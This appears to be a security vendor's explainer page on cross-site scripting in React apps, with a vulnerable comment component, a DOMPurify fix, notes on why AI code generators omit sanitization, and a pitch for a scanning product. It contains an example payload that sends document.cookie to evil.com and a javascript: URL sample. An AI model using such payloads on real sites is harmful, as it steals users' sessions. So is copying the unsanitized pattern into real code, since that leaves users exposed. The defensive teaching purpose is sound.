What is XSS?
XSS happens when your app takes user input and renders it as HTML without sanitizing it first. An attacker submits a string like <script>document.location='https://evil.com/steal?c='+document.cookie</script>, and your app writes it straight into the page. Every user who views that page runs the attacker's code.
The impact ranges from annoying to catastrophic. At the mild end, an attacker can deface your page. At the severe end, they can steal session cookies, redirect users to phishing sites, or make API requests on behalf of logged-in users — all silently, in the background.
React and other modern frameworks escape output by default, which prevents most XSS. But that protection vanishes the moment you use dangerouslySetInnerHTML, inject into href attributes, or render user input through server-side templates without escaping.
How does XSS work?
The core of XSS is simple: user-controlled data ends up in a context where the browser interprets it as code instead of text. In React apps, the most common vector is dangerouslySetInnerHTML — the escape hatch that bypasses React's built-in XSS protection.
Here's a component that renders user-generated content without sanitization:
// components/Comment.tsx
export function Comment({ comment }) {
return (
<div className="comment">
<p className="author">{comment.author}</p>
{/* User input rendered as raw HTML */}
<div
dangerouslySetInnerHTML={{
__html: comment.body,
}}
/>
</div>
);
}// components/Comment.tsx
import DOMPurify from 'dompurify';
export function Comment({ comment }) {
const cleanHtml = DOMPurify.sanitize(comment.body, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
ALLOWED_ATTR: ['href'],
});
return (
<div className="comment">
<p className="author">{comment.author}</p>
<div dangerouslySetInnerHTML={{ __html: cleanHtml }} />
</div>
);
}Why do AI tools generate XSS vulnerabilities?
AI code generators know about XSS in the abstract — ask one to explain it and you'll get a textbook answer. But when generating components, they routinely produce vulnerable patterns because the prompt is about rendering content, not sanitizing it.
- Rich text requires raw HTML. "Build a comment system that supports bold and italic" leads directly to dangerouslySetInnerHTML. The model reaches for the obvious solution without adding sanitization.
- Sanitization is a separate dependency. DOMPurify isn't built into React. The model would need to add a dependency, import it, and configure allowed tags. That's three steps it skips to keep the code simple.
- URL-based XSS is subtle. A user profile with a "website" field rendered as <code><a href={user.website}></code> is vulnerable to <code>javascript:</code> URLs. The model doesn't flag this because it looks like a normal link.
Stored XSS is especially dangerous in AI-generated apps because the same tool that builds the input form also builds the display component — and neither step includes sanitization. The script gets saved to the database and served to every user who views it.
Common XSS patterns
dangerouslySetInnerHTML with user input
The most direct path to XSS in React. Any user-controlled string passed as __html runs as code.
javascript: URLs in href attributes
User-supplied URLs like javascript:alert(1) execute when clicked. React doesn't block this.
Server-side template injection
Express/EJS/Handlebars templates that use unescaped output ({{{ }}} in Handlebars, <%- %> in EJS).
Markdown rendering without sanitization
Markdown-to-HTML libraries that allow raw HTML pass-through. An attacker embeds a script tag in a markdown comment.
How Flowpatrol detects XSS
Flowpatrol tests for XSS by injecting real payloads into your app's input fields and checking whether they execute — the same way a penetration tester would:
- 1Maps every input surface — forms, URL parameters, search bars, profile fields, and API endpoints that accept user input.
- 2Injects context-aware payloads tailored to the rendering context: HTML body, attribute values, JavaScript strings, and URL parameters.
- 3Checks for execution by monitoring the DOM for injected script tags, event handlers, and modified attributes in a real browser.
- 4Reports the exact vector with the payload that worked, the input field it was submitted through, and the page where it renders.
Static analysis can spot dangerouslySetInnerHTML. Flowpatrol goes further — it confirms whether the input actually reaches the page unsanitized by testing it end-to-end.
Related terms
Check your app for XSS.
Flowpatrol injects real payloads into your app and checks if they execute. Five minutes. One URL.
Try it free